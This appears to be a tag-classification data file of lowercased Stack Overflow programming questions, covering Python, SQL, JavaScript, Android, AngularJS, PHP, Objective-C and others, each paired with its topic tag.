python os.access() reads file no matter what  i have a script that checks a file for vulnerabilities. if the file path exists  the script then checks to see if the file can be read. however  when i set the file s permissions   os.access() is able to read the file no matter what. in windows i have denied all permissions and in linux  i have tried chmod 000 on the file and got the same output on both machines.here is the code:   <pre><code>import sys import os  if len(sys.argv) == 2:     filename = sys.argv[1]     if not os.path.isfile(filename):         print  [-]   + filename +   does not exist.          exit(0)     if not os.access(filename  os.r_ok):         print  [-]   + filename +  : access denied.          exit(0)      print  [+] reading vulnerabilities from:   + filename </code></pre>   whenever i pass an incorrect file name or path  os.path.isfile() works fine  however os.access() doesn t. i m fairly new to python as well  all help will be appreciated    updated:    when i run the script i use the command:   <pre><code>python scriptname.py vuln_banners.txt </code></pre>   after i have already ran   <pre><code>chmod 000 vuln_banners.txt </code></pre>   the only output i get is:   <pre><code> [+] reading vulnerabilities from: vuln_banners.txt </code></pre>   i ran    <pre><code>ls -la vuln_banners.txt </code></pre>   and got the output:   <pre><code>---------- 1 root root 397 dec 31 22:32 vuln_banners.txt </code></pre>,python
printing objective-c method implementation at runtime  is it possible to print/log the implementation of a certain class method at runtime to the console screen  i am assuming the log will be in assembly which is fine by me.,objective-c
error with asp.net 3.5 application deployment  i am getting this error while deploying a asp.net 3.5 applcation on a web server. the target server is <code>windows 2008r2</code> with <code>.net framework 4.0</code> installed. line 5 is the one that throws an error. i have included all the dlls that are used in the application.    please let me know how to fix this issue  without having to upgrade the application to .net framework 4 appl.    <pre><code>4:  &lt;sectiongroup name= scripting  type= system.web.configuration.scriptingsectiongroup  system.web.extensions  version=3.5.0.0  culture=neutral  publickeytoken=31bf3856ad364e35 &gt; 5:      &lt;section name= scriptresourcehandler  type= system.web.configuration.scriptingscriptresourcehandlersection  system.web.extensions  version=3.5.0.0  culture=neutral  publickeytoken=31bf3856ad364e35  requirepermission= false  allowdefinition= machinetoapplication /&gt; 6:      &lt;sectiongroup name= webservices  type= system.web.configuration.scriptingwebservicessectiongroup  system.web.extensions  version=3.5.0.0  culture=neutral  publickeytoken=31bf3856ad364e35 &gt; </code></pre>,asp.net
close custom dialog another method  method to create dialog:   <pre><code> public void reservar(view view) {              dialog d = new dialog(this);             d.setcontentview(r.layout.dialog_reserva);             d.show(); } </code></pre>   here  i am create another method i cant close the  d  dialog:   <pre><code>public void reservard(view view){         alertdialog.builder builder = new alertdialog.builder(this);         builder.setpositivebutton( confirmar reserva   new dialoginterface.onclicklistener(){             @override             public void onclick(dialoginterface dialog  int which){               }         });         builder.show();      } </code></pre>,android
how to pass/access custom data to ajax success handler <pre><code> for(var i =0; i &lt; featureditems.length; i++) {     var item = featureditems.eq(i).text().trim();     alert(item); // alerts correctly     $.ajax({       url :  /documents/ajax/  + item        datatype :  text         success : function(data) {         /*           alerts the value set in the last iteration of for loop.           i want the same value as value of item in the ajax request url         */         alert (item);            }      });   } </code></pre>   how can i access value of var item appropriately in success handler     code above alerts the value set in the <strong>last iteration of for loop</strong>,jquery
match adjacent list elements with a list of tuples in python  i have an ordered list of individual words from a document  like so:   <pre><code>words = [ apple    orange    boat    car    happy    day    cow   ...] </code></pre>   i have a second list of tuples of significant bigrams/collocations  like so:   <pre><code>bigrams = [( apple    orange )  ( happy    day )  ( big    house )  ...] </code></pre>   i would like to iterate through the list of individual words and replace adjacent words with an underscore-separated bigram  ending up with a list like this:   <pre><code>words_fixed = [ apple_orange    boat    car    happy_day    cow   ...] </code></pre>   i ve considered flattening <code>words</code> and <code>bigrams</code> into strings (<code>   .join(words)</code>  etc.) and then using regex to find and replace the adjacent words  but that seems horribly inefficient and unpythonic.     what s the best way to quickly match and combine adjacent list elements from a list of tuples,python
.net string [] operator returns different stuff from tostring()  i have a .net custom action (dtf) executing from installshield.    in the .net ca  i m pulling an msi property whose value is <code> [commonappdatafolder]abc\def.txt </code>.      the property is accessed as follows:   <pre><code>string val = session[ my_property ]; // microsoft.deployment.windowsinstaller.session </code></pre>   when i print this variable out to a log file  i get: <code>c:\programdata\abc\def.txt</code>.  this is what i expect.    however  when i use the <code>[]</code> operator to look character-by-character  i get characters from the unsubstituted value: <code>[commonappdatafolder]...</code> for example  <code>val[0]</code> is <code> [ </code> instead of <code> c </code>.    how in the world is this possible       also  the <code>==</code>  <code>string.compare()</code>  <code>!=</code>  etc. are all not giving expected results (i d imagine these use the <code>[]</code> operator underneath the hood).    edit:      this is how i m logging: <code>session.log( file name: {0}   val);</code>    this is how i m printing character-by-character:   <pre><code>for (int i = 0; i &lt; val.length; i++)  {      session.log(val[i].tostring()); } </code></pre>,.net
how to get return value after form submit  i want to get the return value for hid and show div after form submit success   <pre><code>&lt;form id= form1  action= api.php  method= post &gt;&lt;input &gt;&lt;/input&gt;&lt;/form&gt; &lt;div id= layer1 &gt;&lt;/div&gt; </code></pre>   i tried: js    <pre><code>$( #form1 ).submit(function(e){  e.preventdefault(); $( #layer1 ).show(); }); </code></pre>   it doesn t work. is there anythings that i should return in the api.php  as i am using php5.2 i cannot using something like formdata to upload image when doing form submit.    can anyone help,javascript
cyclic reference - protocols and subclasses  i m getting some cyclic reference (i think) problems between a few classes that require imported headers due to either subclassing or protocol definitions. i can explain why things are set up this way but i m not sure it s essential. basically these classes are managing reciprocal to-many data relationships.    the layout is this:<br> class a imports class b because it s a delegate of class b and needs its protocol definition.<br> class b imports class c because it s a subclass of class c.<br> class c imports class a because it s a delegate of class a and needs its protocol definition.      here s some sample code that illustrates the problem. the errors i m getting are as follows:  in class a -  can t find protocol definition for class_b_delegate . in class b -  can t find interface declaration for class c - superclass of class b.  in class c -  can t find protocol definition for class_a_delegate .    class a header:   <pre><code>#import &lt;foundation/foundation.h&gt; #import  class_b.h   @protocol class_a_delegate @end  @interface class_a : nsobject &lt;class_b_delegate&gt; { }  @end </code></pre>   class b header:   <pre><code>#import &lt;foundation/foundation.h&gt; #import  class_c.h   @protocol class_b_delegate &lt;nsobject&gt; @end  @interface class_b : class_c { }  @end </code></pre>   class c header:   <pre><code>#import &lt;foundation/foundation.h&gt; #import  class_a.h   @interface class_c : nsobject &lt;class_a_delegate&gt; { }  @end </code></pre>,objective-c
why does 5.00 > 20.00 returns true for javascript parsefloat.tofixed(2)  i am confused wit this since if i remove te .tofixed(2) then the condition will return false and thus be correct  but if there is .tofixed(2) it returns true which is wrong.    also when i used console.log to display the two variables containing the values they both return this value   <pre><code>5.00 and 20.00 </code></pre>   this is the code:   <pre><code>//this two values are actually populated from .val of an input field var coupon_limit2 = 0; var coupon_limit = $( #product_coupon_limit ).val(); var sale_price = $( #product_product_list_price ).val();   if(disc_type ==  percentage ){             if(coupon_type ==  amount ){                 coupon_limit2 = (coupon_limit/sale_price)*100;             }else{                 coupon_limit2 = coupon_limit;             }         }else{             if(coupon_type ==  percent ){                 coupon_limit2 = (coupon_limit/100)*sale_price;             }else{                 coupon_limit2 = coupon_limit;             }         }  var x = parsefloat($( #product_product_discount ).val()).tofixed(2); var y = coupon_limit2;  //returns correctly if(x &gt; parsefloat(y)){    alert( hi );  }  //returns wrong if(x &gt; parsefloat(y).tofixed(2)){    alert( hi );  } </code></pre>   i am already using the without .tofixed(2) since that s what s working properly but i just hope to have an explanation as to why this is happening.    thank you,javascript
sql alphabet reference for rows in query  i am using a query  to print  reference  alphabet. it works fine for single table  but prints <code>null</code> when i do a join   <pre><code>select    letters = char(64 + t.student_id)     t.student_name    from    dbo.students t inner join dbo.date_of_birth dob on t.student_id = dob.student_id </code></pre>,sql
what are the most important parts of the .net framework for a beginner   you often see  on sites like <a href= http://en.wikipedia.org/wiki/the_daily_wtf  rel= nofollow noreferrer >the daily wtf</a>  examples of overengineered code that should have just been a call to a built-in method within the .net framework.    what namespaces/classes should be considered essential knowledge for a developer starting his/her first .net job     <em>as per joel spolsky s instruction for these types of questions  please limit your answers to individual items for voting purposes.</em>,.net
stuck on a slightly tricky query  trying to ignore multiple results based on a single field  here is a simple database representation of what i m stuck on:   <pre><code>idnumber     timespent         completed  1              0                  no  1              0                  no  1              2                  no  2              0                  no  3              0                  no </code></pre>   i m currently querying the database as such...   <pre><code> select distinct (idnumber) as info from testtable                                     order by workordernumber ; </code></pre>   and it gives me back the results    <pre><code>1 2 3 </code></pre>   which is expected.    now  i d like to adjust it to where any instance of an idnumber that have timespent != 0 or completed != no means that the idnumber isn t grabbed at all. so for example in the database given  since timespent = 2  i don t want idnumber 1 to be returned in my query at all.     my first instinct was to jump to something like this...   <pre><code> select distinct (idnumber) as info from testtable                                     where timespent= 0  and completed= no                                      order by workordernumber ; </code></pre>   but obviously that wouldn t work. it would correctly ignore one of the idnumber 1 s but since two others still satisfy the where clause it would still return 1.     any pointers here,sql
mysql least() greater than 0  i have a table with prices and i would like to create a view on the table with the lowest price.     my table has for exmaple the columns price1 price2.    i thought i could to it with least()    e.g. select least(price1 price2) from pricelist    but it should only consider prices greater than 0 or not null.    can i do this with least()     thanks for your advice.,mysql
need help naming a field (and table)  i m creating a new table which is related to a contacts table (where i store first name  last name etc).    the table has:   <pre><code>int id  (pk  identity) int contactid  (fk) int type (this identifies whether the following is an email  tel  fax etc.)  nvarchar(40) [i need a name for this one] </code></pre>   the nvarchar field is basically storing either abc@abc.com  or +1 567 555-2934 x 12  or whatever else somebody would enter as a way to contact somebody else. email  phone  im name  fax number etc.    i have no idea how to name that field  or the table containing this stuff. i can t name it  emailaddress  as it may be a phone number and vice versa. and i don t want to name it  emailorphoneorxyz  of course.    any idea,sql
jsoup is not working  i m trying to delete html tags from a string using jsoup  but at run time the emulator gives an exception that is: noclassdeffounderror: org.jsoup.jsoup    here is my code:   <pre><code>string result= &lt;html&gt; hello &lt;/html&gt; ; jsoup.parse(result).text(); </code></pre>   can anyone help me,android
css h2 tag with different colors and classes   i have couple h2 tags  where i want some  to have the same formatting  but to be of a different color   <pre><code>h2 {     font: bold 20px  titilliummedium    trebuchet ms   arial  sans-serif;     color: #1f1d5b;     padding-bottom: 5px;     border-bottom: 1px solid #1f1d5b;     margin-bottom: 20px; }  .red h2 {     color: #551111; } </code></pre>   the two below look exactly the same  did i do something wrong  should i just use font color tags around the h2    <pre><code>  &lt;h2&gt;test&lt;/h2&gt;     &lt;h2 class= red &gt;test2&lt;/h2&gt; </code></pre>,css
how make a search bar view transparent in ios  ha ii everybody i want to make a view with searchbar like the image shown in below.i saw lots of application uses this.i have a search controller view in my application when the user taps the button it redirected to the search-view  but my need is search-view wants to in a transparent mode  that we can saw the main view in behind the search view.please look at my imagelink.<a href= http://lh6.ggpht.com/_ixq8dp4esmo/syugd2pnl9i/aaaaaaaaaew/nzi3vbllzvc/searchview.jpg  rel= nofollow >imagelink</a> thanks in advance.,iphone
making text change colors with jquery (non-stop flashing)  what s the easiest way to make text toggle between two colors/classes <strong>continuously</strong> with jquery,jquery
remove class that starts with certain word and add it to its parent  using jquery  i d like to accomplish this:   <ul> <li>look at the target element</li> <li>if it has a class name that <strong>starts with</strong> <code>custom_</code></li> <li>then remove that class name and add it to parent of the target element</li> </ul>   i think i can use the <code>is</code> function to find whether the element has that class  i just don t know how to remove that class and move it up one element.     <code>if ( target.is(  [class^= custom_ ] [class*=  custom_ ]  ) )</code>,jquery
getting the title of a web page given the url  is there any method that will return the title of the web page given its url     i don t mean the title of the current page which can be gotten from doing <code>document.title</code>  i mean getting the title of another web page.,javascript
is rtmpt supported in ios   i am having a hard time to find a sample project that relates to rtmpt streamer that supposed to be build/run in ios. so i thought there s a possibility that there s none at all. i saw some post of others that rtmp is not supported in ios  is that true  i hope to get some responses and a bit of help too where can i get some samples if there is. i really want to see already runnable codes.,objective-c
how to hold a for loop for some specific time of period   i want hold a for loop for specific time of period.    i was using <code>thread.sleep(duration)</code> but it is wrong.  please let me know any solution for this problem. in advance thanks for suggestion. if there is any concern please let me know.,android
boto3  read gzip from s3 and print content  i m trying to read a gzip file from s3 - the  native  format f the file is a csv. ultimately  after uncompressing the file  i d like to be able to  see  the content so i can read the number of lines in the csv and keep count of it.    my  basic  attempts are here - still just trying to print the contents of the file. this attempt just tells me that there is no such file or directory...    i know i m also probably erroneously thinking the unzipped csv file will be in json format - but that s the next  issue  once i get to read the unzipped contents...   <pre><code>[errno 2] no such file or directory:  smsusagereports/eu-west-1/2018/01/02/001.csv.gz      import gzip import boto3 import json s3 = boto3.resource( s3 ) s3_client = boto3.client( s3 ) bucket = s3.bucket( snssmsreports ) for obj in bucket.objects.filter(prefix= smsusagereports/eu-west-1/2018/01/02 ):     json_object = s3_client.get_object(bucket=bucket.name  key=obj.key)     file_name = obj.key     obj = bucket.object(file_name)     file_body = obj.get()[ body ].read()      # gzip stuff here     f=gzip.open(file_name  rb )     file_content=f.read()     #print file_content      #jsonfilereader = json_object[ body ].read()     jsondict = json.loads(file_content)     #table = dynamodb.table( sns )     #table.put_item(item=jsondict)     print( {0}:{1} .format(bucket.name  obj.key))     print(jsondict) </code></pre>   ok  so i updated my code as follow:   <pre><code>import zipfile import gzip import boto3 import io import json  import pandas as pd   s3 = boto3.resource( s3 ) s3_client = boto3.client( s3 ) bucket = s3.bucket( snssmsreports ) for obj in bucket.objects.filter(prefix= smsusagereports/eu-west-1/2018/01/02 ):     json_object = s3_client.get_object(bucket=bucket.name  key=obj.key)     file_name = obj.key     obj = bucket.object(file_name)      s3_client.download_file(bucket.name  file_name   ../../tmp/file.gz )      gzip_name =  ../../tmp/file.gz      # gzip stuff here     with gzip.open(gzip_name  rb ) as f:         file_content=f.read()     str_file = str(file_content)      csvfile = open( ../../tmp/testfile.csv   w )      csvfile.write(str_file)      csvfile.close()        #table = dynamodb.table( sns )     #table.put_item(item=jsondict)      #pandas csv reader     df1 = pd.read_csv( ../../tmp/testfile.csv )     print(df1)      #print( {0}:{1} .format(bucket.name  obj.key))     #print(file_content)      #table = dynamodb.table( sns )     #table.put_item(item=jsondict) </code></pre>   this does not throw any errors anymore  but the output only has one row and 135 columns  so panda is not liking the actual content of the csv  or my conversion to str() is not the right way to do it,python
javascript - create unlimited new divs from text area value  i have a text area where users can submit posts  and i m putting them in my database using ajax  but i want to create a new div below the text area when they hit submit  so that they know that it worked.   <pre><code>    var text = document.getelementsbyname(name)[0].value;     // $.post(  ../parsers/new_text.php   { text: text } );     var area = document.getelementsbyname(name)[0];     area.value =   ;     var div = document.createelement( div );     div.appendchild(text);     var elem = document.getelementbyid( texts );     elem.appendchild(div);     document.body.appendchild(elem); </code></pre>   this is what i have so far  and everything works up to <code>area.value=  ;</code> but it s not creating a new div inside a div i have below the text area whose id is  texts . i m not sure what i m doing wrong.,javascript
how to upload scores on facebook after win a game in iphone   i just completed my game. ( well not 100%). i am at the upload on facebook part. could you guys share any resource or knowledge how to implement it please  after finish the game  i will have a button called: upload on facebook. click that and it will straightaway show the log in page for me to enter the username and password. then i will be able to upload my scores for that game. hmm yes this is a question of mine too  how to upload the scores      i really appreciate for any helps,objective-c
how to set the shadow color for image   hai  i am doing one application  in that i want to provide the shadow color for image after setting the border color. but border color and shadow color both are different. so please tell me any more suggestions.,iphone
self.prop=nil; vs. [prop release];prop=nil;  if i am using synthesized properties  then why wouldn t i simply say :   <pre><code>self.property = nil; </code></pre>   this will release the ref count  and make sure i don t have a dangling pointer.    seems straightforward  and yet 99% of code i see seems to do it this way:   <pre><code>[property release]; property = nil; </code></pre>   and yes  in most cases they are properties.  i get the horrible feeling i am missing something  sorta like when i forgot to put  self.  in front of some of the properties and wondered why it was crashing :-),objective-c
combine many array values to related array vlaue with angularjs  i have been working with angularjs for a few weeks now and am starting to love it  but i have one last problem to solve that has alluded me...    basically i have two json files with related values.. meaning there is one common key in each json file that i want to use to do what in sql would be a join of sorts.. this is a one to many relationship.  so one value related to multiple values.  i m close but i just can t seem to figure out how to say  for this array value  grab all of these related values from this other file then display them as one result .    i ve also included underscorejs and injected it into my controller as a possible way to solve this as well..    i m not familiar enough yet to figure this out but here is my code so far:    contents of the ab_activities.json (the file with the  many ):   <pre><code>[   {      unique_id : 001        state : ny        state_id : 1.s2.3a    }    {      unique_id : 001        state : ny        state_id : 1.s3.2d    }    {      unique_id : 001        state : fl        state_id : sc.4.n.1.d    } ] </code></pre>   contents of the ee_activities.json file (the  one  related value):   <pre><code>[   {      unique_id : 001        title : some title        url_title : some-title    } ] </code></pre>   angular code:   <pre><code>var underscore = angular.module( underscore   []);  underscore.factory( _   function() {     return window._; });  var abapp = angular.module( abapp   [ underscore ]);  abapp.factory( abdata   function($http  $q) {     var deffered = $q.defer();     var data = [];     var abdata = {};      abdata.async = function() {         $http.get( /data/ab_activities.json )             .success(function(ab) {                 data = ab;                 deffered.resolve();             });         $http.get( /data/ee_activities.json )             .success(function(ee) {                 data = ee;                 //deffered.resolve();             });         return deffered.promise;     };     abdata.data = function() {         return data;     };      return abdata; });  abapp.controller( abee   function(abdata  $scope) {     var abapp = this;     abdata.async().then(function(d) {     abapp.subjects = abdata.data();     }); }) </code></pre>   and html:   <pre><code>&lt;div ng-controller= abee as ee &gt;     &lt;p ng-repeat= subject in ee.subjects &gt;     &lt;strong&gt;&lt;a href= /activities/{{subject.url_title}} &gt;{{subject.title}}&lt;/a&gt;&lt;/strong&gt;   &lt;ul&gt;     &lt;li ng-repeat=     &gt;{{subject.state}}  {{subject.state_id}}&lt;/li&gt;   &lt;/ul&gt;  &lt;/p&gt; &lt;/div&gt; </code></pre>   and finally - what i m hoping to achieve:    <strong>title: some title</strong>   <ul> <li>ny  1.s2.3a</li> <li>ny  1.s3.2d</li> <li>fl  sc.4.n.1.d</li> </ul>   the {{subject.state}} / {{subject.state_id}} are the many related values.. and i m trying to relate the results by the  unique_id .    right now the interesting thing that is happening is that there is one value from the ab_activities.json file that is being displayed multiple times because deffered.resolve(); is set on the ee_activities.json values and that is the one that has the  many to one  values.    i m thinking that i can use a  foreach()  function then somehow pass the value that i want to relate back  then use underscore s ._where() function to get the related values    just not sure yet  hopefully someone will have some angular code brilliance that can help out :-),angularjs
tabbarcontroller + changing orientation problem  i have a tabbarcontroller with 4 views  and one of them is a scrollview. if i load this view  and then change the orientation of my device from portrait to landscape  the scrollview responds to the touches only  till the pixel 320.    if later i go to another view  and then come back to the first  the scroll view works well even in landscape.    how can i adjust this,iphone
mysql update issue with set sql_safe_updates=0;  i am having serious issue with my mysql 5.7.6 .when i try to update my simple table .can any one find my issue for update below table . when i got sql_safe_updates  related problem then i have follow all step of <a href= https://stackoverflow.com/questions/11448068/mysql-error-code-1175-during-update-in-mysql-workbench >stack_overflow_link</a>  but here issue is some thing different     we can have loop on log also  the line wants to tell different    <pre><code> 11:10:19   update `mydb`.`dailyreport` set `outtime`= 19:42:51  where `iddailyreport`= 50468   0 row(s) affected      rows matched: 1  changed: 0  warnings: 0   0.375 sec </code></pre>   <strong>why my outtime field is not updateing   </strong> <a href= https://i.stack.imgur.com/qygp2.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qygp2.jpg  alt= workbench_view ></a>,mysql
scanner class   hasnextline give true even there is not any next line  my input txt file has this content:    <blockquote>    aa1 aa2  <br/>       bb1 bb2 <br/>       cc1 cc2  </blockquote>   after cursor is going to the last line  how does hasnextline() method give true while reading cc1 and cc2  i thought i would only get aa1 to bb2.    output:   <blockquote>    aa1 <br/>           aa2 <br/>           bb1<br/>           bb2<br/>           cc1<br/>           cc2  </blockquote>  <pre><code>package test;  import java.io.file; import java.io.filenotfoundexception; import java.util.scanner;  public class test {      public static void main(string[] args) throws filenotfoundexception {          file f = new file( k:\\test\\a.txt );         system.out.println(f.exists());         scanner reader = new scanner(f);         while (reader.hasnextline()) {             system.out.println(reader.next());          }      }  } </code></pre>,java
mysql `update` statement with an `if` condition  i m trying to create a mysql <code>update</code> statement with an <code>if</code> condition.    i would like to update the user s particulars if the email and username are not duplicate or found in database.    i m stuck with this code:   <pre><code>&lt; php  include  connection.php ; $user   = $_request[ user ]; $em     = $_request[ email ]; $id     = $_request[ id_user ];  //check email in database $query = mysqli_query($con  select username  email from `user` where id_user =  $id  ); $result = mysqli_fetch_object($query);  if (strtolower(trim($query-&gt;email)) == strtolower(trim($em))     || strtolower(trim($user-&gt;username)) == strtolower(trim($user)) ) {     //next to condition  username } else {     $data_email = mysqli_query($con  select email from user where em=  .$em.   );     $total_email = mysqli_num_rows($data_email);      if($total_email &gt; 0) {         echo  email not available ;     }  else {         //next to condition username     } }  //check username in database                         $data_us_user = mysqli_query($con  select username from user where id_user=  .$id.   ); $us_user = mysqli_fetch_object($data_us_user); if (strtolower(trim($us_user-&gt;username))==strtolower(trim($user))) {     //next to query update } else {     $data_username = mysqli_query($con  select username from user where username=  .$em.   );     $total_username = mysqli_num_rows($data_username);     if($total_username &gt; 0) {         echo  username not available ;     } else {         //next to query update     } } else {     //finally query update     mysqli_query($con  update user set username=  .$user.   em=  .$em.   where id_user=  .$id.    );     echo  ok ; } </code></pre>,php
evaluating a list of python lambda functions only evaluates the last list element  i have a list of lambda functions i want to evaluate in order. i m not sure why  but only the last function gets evaluated. example below:   <pre><code>  &gt;&gt;&gt; def f(x z):   ...     print  x=  x    z=  z   ...    &gt;&gt;&gt;    &gt;&gt;&gt; g = lambda x : f(x 13)   &gt;&gt;&gt; g(2)   x= 2   z= 13    # as expected   &gt;&gt;&gt;    &gt;&gt;&gt; lst=[]   &gt;&gt;&gt;    &gt;&gt;&gt; for i in range(0 5):    ...    lst.append(lambda x: f(x i))   ...    &gt;&gt;&gt; print lst   [&lt;function &lt;lambda&gt; at 0x10341e2a8&gt;  &lt;function &lt;lambda&gt; at 0x10341e398&gt;  &lt;function &lt;lambda&gt; at 0x10341e410&gt;  &lt;function &lt;lambda&gt; at 0x10341e488&gt;  &lt;function &lt;lambda&gt; at 0x10341e500&gt;]   &gt;&gt;&gt;    &gt;&gt;&gt; for fn in lst:   ...   fn(3)   ...    x= 3   z= 4 # z should be 0   x= 3   z= 4 # z should be 1   x= 3   z= 4 # z should be 2   x= 3   z= 4 # z should be 3   x= 3   z= 4 # as expected. </code></pre>   i think only the last one is getting executed  but not the others. any ideas  thanks!,python
how can i register a filter in angularjs   my module is created like this with typescript:   <pre><code>angular.module( admin   [ ngmessages ])     .service( homeservice   homeservice)     .controller( adminhomecontroller   adminhomecontroller)     .controller( admincontentcontroller   admincontentcontroller)     .filter( sdate   function ($filter) {         var angulardatefilter = $filter( date );         return function (thedate) {             return angulardatefilter(thedate   yyyy-mm-dd );         }     }); </code></pre>   on my html page i reference a filter like this:   <pre><code>{{ row.createddate | sdate }} </code></pre>   but it gives me this error:   <pre><code>error: [$injector:unpr] unknown provider: nprovider &lt;- n &lt;- sdatefilter http://errors.angularjs.org/1.3.0-beta.8/$injector/unpr p0=nprovider%20%3c-%20n%20%3c-&lt;div data-ui-view= content  id= contentblock  class= ng-scope &gt;datefilter     at http://127.0.0.1:17316/scripts/bundle/library.js:80:20     at http://127.0.0.1:17316/scripts/bundle/library.js:3837:27     at object.getservice [as get] (http://127.0.0.1:17316/scripts/bundle/library.js:3969:53)     at http://127.0.0.1:17316/scripts/bundle/library.js:3842:53     at getservice (http://127.0.0.1:17316/scripts/bundle/library.js:3969:53)     at object.invoke (http://127.0.0.1:17316/scripts/bundle/library.js:4001:25)     at http://127.0.0.1:17316/scripts/bundle/library.js:3843:45     at object.getservice [as get] (http://127.0.0.1:17316/scripts/bundle/library.js:3969:53)     at null.$filter (http://127.0.0.1:17316/scripts/bundle/library.js:14624:34)     at parser.filter (http://127.0.0.1:17316/scripts/bundle/library.js:10627:27) </code></pre>   i then tried doing this:   <pre><code>var app = angular.module( app       [          access            admin            authentication            ngmessages            ui.router      ])     .controller( appcontroller   appcontroller)     .filter( sdate   function ($filter) {         var angulardatefilter = $filter( date );         return function (thedate) {             return angulardatefilter(thedate   yyyy-mm-dd );         }     }) </code></pre>   still i get the same error. is there something wrong with the way i am registering the filter,angularjs
is it worth to write a custom profile provider   i wrote a custom membership provider and it was relatively easy.    now i need to create users with first name  last name and other fields not considered in the any of the membershipprovider.createuser overloads.    i read that i should not overload createuser. instead  i should write my own profile provider.    it seems like a lot of work and i am not sure of the benefits. can you help me decide the right way to go  (it is for a mvc 3.0 web app.),asp.net
android parse string into double  i have an android intent sending to the server the latitude and longitude send as string like this    <pre><code>try {     double x = loc.getlatitude();     z = double.tostring(x);      double y = loc.getlongitude();     z2 = double.tostring(y);      outtoserver.writebytes(z);      outtoserver.writebytes(z2); } catch (ioexception e1) {     e1.printstacktrace(); } </code></pre>   then the latitude and longitude send and save in the server databases than other intent what to fetch the database and get this string to be able to change it to double    <pre><code>string x=infromserver.readline(); string y=infromserver.readline();  x = x.trim(); double p1 = double.parsedouble( x); y = y.trim(); double p2 = double.parsedouble( y); </code></pre>   but it force close despite when i use the same command to convert the string s= 12.23  nothing happened&mdash;no force close. how can i solve this problem  putting in consideration when send the latitude and longitude as double they send as unknown symbols,android
how to update gridview  i m trying gridview update  by editing value is coming  but not come in actual textbox of gridview   <pre><code>        string label1text = ((textbox)row.cells[2].controls[0]).text;          string e_id = ((textbox)row.cells[2].controls[0]).text;         string e_name = ((textbox)row.cells[3].controls[0]).text;         string e_password = ((textbox)row.cells[4].controls[0]).text;         string e_city = ((textbox)row.cells[5].controls[0]).text;         string e_gender = ((textbox)row.cells[6].controls[0]).text;         string e_mail = ((textbox)row.cells[7].controls[0]).text; </code></pre>,asp.net
create array out of string and then compare with another array  i have two questions:  1. how to break a string into an array given a start string and end string make array element out of everything inbetween. 2. compare my new array with another array and if any elements match let the user know which values match.    i need to break the contents of a string into an array i need the values of the mac address   <pre><code>[mac] mac=12eg23ocsopc mac=111111111111 mac=222222222222 mac=333333333333 </code></pre>   i need the values of everything after  mac=  and before the \n    and then i need to compare these values with another array  if there are items that are the same i need to let the user know which ones match this is what i have so far.   <pre><code>function count_compare_macs($macs_to_compare  $new_array)  {     $macs_to_compare_count = count($macs_to_compare);     $new_array_count = count($new_array);          if(($macs_to_compare_count + $new_array_count) &gt;= 5)             {              return  false;                     $error_message= you already have 5 mac address in your system ;             }else{               //here is where i need to compare the two arrays and if any are the same say false and set the error message.                       $compare_arrays = array_diff($macs_to_compare $new_array)                          if (!$compare_arrays){                                 return true;                                }else{   //here is where i need to compare the two arrays and if any are the same say false and set the error message.                                       $error_message=  the following mac is already used  . $match return false;                                        }                 }     } </code></pre>,php
reading data with recursive functions  i am reading some data from file which are nested into each other (like a file tree) to put it into an array.     reading is done well  but i am not able to put the array back into main(). the result of anzgrid is 0  so the for-loop will not start.    has anyone a hint for me how to do it    <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt;  void read_include(int int* char*);  void read_include(int anzgrid int* gridids char* input){     char line[81];     char* token;     file * file;     file * file1;      file = fopen(input  r );     printf( opening %s\n  input);      if (!file){       printf( %s not found here\n  input);       return;     }     if (file){         while (fgets(line 80 file)){             printf( %s  line);             if (strncmp(line  grid      8) == 0){                 token=strtok(line    );                 token=strtok(null    );                 gridids[anzgrid] =atoi(token);                 anzgrid++;             }             if (strncmp(line  include   8) == 0){                 token=strtok(line    );                 token=strtok(null    );                 read_include(anzgrid gridids token);             }         }          fclose(file);     }     printf ( %i\n  anzgrid);     return; }   int main( int argc  char* argv[] )  {     char input[81];     int i;     int anzgrid;      int gridids[100];     strcpy(input argv[1]);       read_include(anzgrid gridids input);     printf ( =&gt;%i\n  anzgrid);      for (i=0;i&lt;anzgrid;i++){     printf ( gridid: %i\n  gridids[i]);  } </code></pre>,c
angular 1.5: factory to component  its possible to change the binding of a component from a factory in angular 1.5.8     (i want prepare a factory to display msgs when my http-interceptor caught an error 500)    for example.    thats factory:   <pre><code> angular.module( app )     .factory( msgfct   [ $log    $timeout   tuimsgfct]);      function tuimsgfct($log  $timeout) {       var module  = {};       var self    = module;        module.foo = function() {         var node = document.getelementbyid( js-foo );          node.setattribute( bar    awesome );       };       return module;     } </code></pre>   to set thats bindings   <pre><code>/// component in dom &lt;foo-component id= js-foo  bar=  &gt;&lt;/foo-component&gt;   //// component template &lt;span&gt;{{foocomponent.bar}}&lt;/span&gt;   //// component controller    angular.module( app ).component( foocomponent   {     templateurl:  ...       controller: foocomponent      controlleras:  foocomponent       bindings: {       bar:  &lt;      }   });    function foocomponent() {     var self = this;    } </code></pre>,angularjs
how to inject dependencies when controller set up as a regular function  in one of the <a href= https://github.com/mgechev/angularjs-style-guide  rel= nofollow >many angularjs style guides</a>  it suggests setting up a controller like this   <pre><code>function myctrl(dependency1  dependency2){  } module.controller( myctrl   myctrl); </code></pre>   i tried it by doing the following  in which i also use a $watch on the $scope. however  i get an error that $watch is not a function  so i m assuming that i m not injecting the scope properly.    this is the code in my <code>app/controllers/myctrl.js</code> file   <pre><code>function myctrl($scope  mystorage){          var mystore = $scope.mystore = mystorage.get();          $scope.$watch( mystore   function(){                  //code ommitted          }  } angular.module( myapp ).controller( myctrl   myctrl); </code></pre>   question  how do i inject <code>$scope</code> and other dependencies using this style     previously  i did it this way and everything worked fine.    <pre><code> angular.module( myapp ).controller( myctrl   [ $scope    mystorage                function mycontroller($scope  mystorage){               }        ]); </code></pre>,angularjs
c# - new to arrays  need clarification <pre><code>namespace program {     class path     {       private readonly maplocation[] _path;         public path(maplocation[] path)        {           _path = path;        }      } } </code></pre>   i am having trouble understanding <code>_path = path;</code> how does one go about understanding how this works and why it s needed,c#
